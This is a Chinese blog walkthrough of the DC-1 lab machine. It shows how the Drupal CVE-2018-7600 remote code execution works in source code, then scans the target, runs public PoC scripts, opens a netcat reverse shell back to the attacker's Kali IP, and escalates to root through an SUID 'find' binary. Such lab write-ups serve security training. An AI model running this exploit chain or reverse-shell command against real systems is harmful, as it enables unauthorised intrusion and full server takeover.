Web安全挖掘实战:09---Drupal RCE漏洞挖掘实战(DC-1)

一、环境的准备

①Kali虚拟机的开启

  • 开启Kali虚拟机,等会需要使用Kali的扫描等工具对靶机进行渗透扫描

  • Kali虚拟机采用桥接网络模式(本次Kali虚拟机的IP为:192.168.0.106)
  • 开始Kali的SSH服务,使用远程控制台操作,更加方便

Web安全挖掘实战:09---Drupal RCE漏洞挖掘实战(DC-1)_第1张图片

②DC-6靶机的开启

  • 本次我们选择一个已经搭建好的靶机,此靶机的搭建与下载见文章:https://blog.csdn.net/qq_41453285/article/details/101871915
  • 靶机采用桥接模式连接网络

Web安全挖掘实战:09---Drupal RCE漏洞挖掘实战(DC-1)_第2张图片

二、源码分析

  • 源码下载,见文章:https://blog.csdn.net/qq_41453285/article/details/101871915
  • 在头像上传的时候有一个漏洞,可以进行RCE

/core/lib/Drupal/Core/Render/Plugin/Renderer.php

  • 373行:对pre_render头处理判断是否有pre_render,然后把pre_render作为callable,然后判断pre_render是否为字符串,然后做拼接,然后最后调用call_user_func函数,获得callable里面的elements如果我们把将pre_render变量注入到数组中的时候,就可以通过pre_render中的变量,注入到数组中,这样就可以call_user_func调用其中的函数

Web安全挖掘实战:09---Drupal RCE漏洞挖掘实战(DC-1)_第3张图片

/core/modules/file/src/Element/ManagedFile.php

  • 171行有一个uploadAjaxCallback函数,上传Aja头像的函数:176行,在你上传头像的时候,将你的get参数信息打包放入form_parents中,之后就调用getValue函数将form_parents的值获取到form中,而form_parents是我们自己可控的

三、对靶机进行扫描

①arp-scan扫描

  • 因此我们的靶机与我们的kali Linux处于同一局域网,所以我们可以使用arp-scan扫描局域网的机器来扫描到这个靶机
  • 扫描的结果显示靶机的IP为“192.168.0.101”

Web安全挖掘实战:09---Drupal RCE漏洞挖掘实战(DC-1)_第4张图片

②nmap扫描

  • 扫描靶机的端口,可以发现靶机开放22号端口与80端口
  • 22端口开放SSH服务
  • 80端口开放着Apache服务
  • 111端口也开放一个端口

Web安全挖掘实战:09---Drupal RCE漏洞挖掘实战(DC-1)_第5张图片

  • 我们通过浏览器访问靶机的Apache服务

Web安全挖掘实战:09---Drupal RCE漏洞挖掘实战(DC-1)_第6张图片

四、searchsploiy RCE漏洞模块利用

  • 使用searchsploiy命令搜索系统中拥有的drupal漏洞利用模块,所有的结果有两个,分别是直接使用的POC文件(.py)和一个在Metasploit中可以使用的.rb文件
searchsploiy drupal

Web安全挖掘实战:09---Drupal RCE漏洞挖掘实战(DC-1)_第7张图片

①使用.py文件

  • 首先将上面所所搜到的44448.py文件复制到当前的目录下,然后直接运行.py文件,回车之后会让你输入攻击的URL,但是下面此处应用失败,所以跳过这一种方法

Web安全挖掘实战:09---Drupal RCE漏洞挖掘实战(DC-1)_第8张图片

②使用.rb文件

  • 44482.rb文件可以作为一个模块添加进metasploit中使用
  • 先在下面的目录下建立一个drupal_7-8文件夹(名称自己设置)
  • 然后将44482.rb文件复制到新建的文件夹中,并将名称设置为drup_rce.rb
mkdir /usr/share/metasploit-framework/modules/exploits/drupal_7-8

cp /usr/share/exploitdb/exploits/php/remote/44482.rb /usr/share/metasploit-framework/modules/exploits/drupal_7-8/drup_rce.rb

  • 之后输入msfconsole进入metasploit中输入reload_all命令重新加载模块,然后use exploit/drupal_7-8/ drup_rce.rb模块
  • 但是在实际时,模块添加之后未显示,所以跳过这一种方法

五、Metasploit RCE漏洞模块使用

  • metasploit中提供了Drupal的RCE漏洞利用模块,use下面的模块开始使用

Web安全挖掘实战:09---Drupal RCE漏洞挖掘实战(DC-1)_第9张图片

  • 使用目标靶机的IP,设置目标靶机的端口,然后run。但是下面显示失败,所以跳过这一种方法

Web安全挖掘实战:09---Drupal RCE漏洞挖掘实战(DC-1)_第10张图片

六、使用poc.py文件

  • 这个poc.py是从github中可以下载到的,下载地址为:https://github.com/FireFart/CVE-2018-7600
  • 文件使用的时候比较简单,直接在HOST中设置目标靶机的IP,然后在'name[#markup]'处输入想要进行的远程执行命令(下面我们以id命令为例)

  • 然后直接运行该poc文件即可,可以看到RCE成功

Web安全挖掘实战:09---Drupal RCE漏洞挖掘实战(DC-1)_第11张图片

七、使用CVE代码

  • 网络上提供了Drupal框架的RCE漏洞代码
  • 下载地址:https://pan.baidu.com/s/1xI8tnkJ2odd07nPWuqtaog (提取码:926b )。下载完成之后有下面几个文件,7602.py是比在7600.py的基础上做了一些优化,READEME.md中有.py文件的使用参数说明等信息

Web安全挖掘实战:09---Drupal RCE漏洞挖掘实战(DC-1)_第12张图片

  • 下面我们使用7600.py这个RCE漏洞攻击文件。-c参数后面接RCE远程执行命令,后面接目标靶机的URL,下面我们输入id和靶机的URL,可以看到远程id RCE命令执行成功

Web安全挖掘实战:09---Drupal RCE漏洞挖掘实战(DC-1)_第13张图片

提权与查看flag文件

  •  首先查看一下对方目标中是否有nc和bash命令,可以看到都存在

Web安全挖掘实战:09---Drupal RCE漏洞挖掘实战(DC-1)_第14张图片Web安全挖掘实战:09---Drupal RCE漏洞挖掘实战(DC-1)_第15张图片

  • 下面我们在kali中开启一个8080端口,用来接收靶机的链接

Web安全挖掘实战:09---Drupal RCE漏洞挖掘实战(DC-1)_第16张图片

  • 然后利用7600.py文件执行远程连接kali端口并反弹一个靶机shell,命令如下
python drupa7-CVE-2018-7600py -c "nc 192.168.0.106 8080 -t -e /bin/bash" http://192.168.0.104/
  • 输入上面的命令之后,可以看到kali与靶机成功连接,并且获取了靶机的shell

Web安全挖掘实战:09---Drupal RCE漏洞挖掘实战(DC-1)_第17张图片

  • 我们输入下面的命令开启一个标准shell
python -c "import pty;pty.spawn ('/bin/bash')"

Web安全挖掘实战:09---Drupal RCE漏洞挖掘实战(DC-1)_第18张图片

  • 查看一下用户是否有用特殊执行的sudo命令,结果显示没有

  • 查找一下系统中有哪些具有s权限的文件,结果显示find命令拥有,下面我们使用find命令进行root提权

Web安全挖掘实战:09---Drupal RCE漏洞挖掘实战(DC-1)_第19张图片

  • 在/tmp目录下建立一个dongshao文件夹,然后进入/tmp目录中
  • 使用find命令查找是否有dongshao这个文件,如果有就执行'id'命令。结果显示有,并且本用户具有euid=0的特殊身份

Web安全挖掘实战:09---Drupal RCE漏洞挖掘实战(DC-1)_第20张图片

  • 于是我们就执行find查找命令并且使用s权限来执行/bin/sh命令,执行/bin/sh之后,就开启了root的sh命令行,就可以进行root身份的操作了

Web安全挖掘实战:09---Drupal RCE漏洞挖掘实战(DC-1)_第21张图片

  • 下面进入/root目录下查看flag命令,显示成功

Web安全挖掘实战:09---Drupal RCE漏洞挖掘实战(DC-1)_第22张图片

你可能感兴趣的:(Web安全挖掘实战)